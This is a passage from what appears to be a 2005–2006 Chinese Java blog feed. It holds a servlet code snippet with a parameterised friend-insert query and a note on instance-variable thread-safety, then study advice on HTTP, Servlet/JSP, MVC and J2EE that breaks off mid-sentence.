<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbconnect.setInt(1, i); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbconnect.setString(2, s); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbconnect.executeUpdate(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbconnect.close(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbconnect = null; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception exception) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new DBConnectException(exception.getMessage()); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>} <BR>&nbsp;&nbsp; 下面是调用： <BR>friendName=ParameterUtils.getString(request,"friendname"); <BR>if(action.equals("adduser")) { <BR>&nbsp;&nbsp; forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName); <BR>&nbsp;&nbsp; errorInfo=forumFriend.getErrorInfo(); <BR>} <BR>&nbsp;&nbsp; 如果采用的是实例变量，那么该实例变量属于该实例的所有线程共享，就有可能出现用户A传递了某个参数后他的线程转为睡眠状态，而参数被用户B无意间修改，造成好友错配的现象。<img src ="http://www.blogjava.net/frankboy/aggbug/27236.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2006-01-09 11:35 <a href="http://www.blogjava.net/frankboy/archive/2006/01/09/27236.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java学习</title><link>http://www.blogjava.net/frankboy/archive/2005/12/27/25640.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:46:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2005/12/27/25640.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/25640.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2005/12/27/25640.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/25640.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/25640.html</trackback:ping><description><![CDATA[<SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">********************************Java Web </FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">编程*******************************************</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><BR></SPAN><FONT size=3><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">　　</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Web</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">编程的核心是</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议，</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议和</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Java</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">无关，如果不熟悉</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议的话，虽然也可以学好</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet/JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">编程，但是达不到举一反三，一通百通的境界。所以</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议的学习是必备的。如果熟悉了</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议的话，又有了</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Java</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">编程的良好的基础，学习</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet/JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">简直易如反掌，我学习</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet/JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">就用了不到一周的时间，然后就开始用</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">来做项目了。</SPAN></FONT><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><BR><BR></SPAN><FONT size=3><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">　　在</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet/JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">的学习中，重头仍然是</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet Documentation</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">。</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet API</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">最常用的类很少，花比较少的时间就可以掌握了。把这些类都看一遍，多写几个例子试试。</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Servlet/JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">编程本质就是在反复调用这些类来通过</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">HTTP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">协议在</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Web Server</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">和</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">Brower</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">之间交谈。另外对</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">，还需要熟悉几个常用</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"><FONT face="Times New Roman">JSP</FONT></SPAN><SPAN style="COLOR: #333333; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥">的标记，具体的写法记不住的话，临时查就是了。</SPAN><SPAN lang=EN-US style="COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-size: 10.5pt"></SPAN></FONT>
<P><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">此外</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Java Web</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">编程学习的重点要放在</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Application</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">的设计模式上，如何进行业务逻辑的分析，并且进行合理的设计，按照</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">MVC</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">设计模式的要求，运用</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Servlet</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">和</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JSP</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">分别完成不同的逻辑层，掌握如何在</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Servlet</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">和</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JSP</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">之间进行流程的控制和数据的共享，以及</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Web Application</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">应该如何配置和部署。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">***************************************J2EE编程</SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">*********************************************</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　以上的学习过程如果是比较顺利的话，进行到这一步，难度又陡然提高。因为上面的知识内容都是只涉及一个方面，而像</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JTA</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">等核心的</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">J2EE</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">规范往往是几种</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Java</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">技术的综合运用的结晶，所以掌握起来难度比较大。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><BR><BR></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">　　首先一定要学习好</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JNDI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JNDI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">App Server</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">定位服务器资源（</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">组件，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">Datasouce</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">）查找方法，如果对</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JNDI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">不熟悉的话，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">EJB</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">，</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JMS</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">这些东西几乎学不下去。</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体"><FONT face="宋体, MS Song">JNDI</FONT></SPAN><SPAN style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: ˎ̥; mso-hansi-font-family: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">其实就是</SPAN><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; COLOR: #333333; FONT-FAMILY: ˎ̥; mso-bidi-font-family: 宋体; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 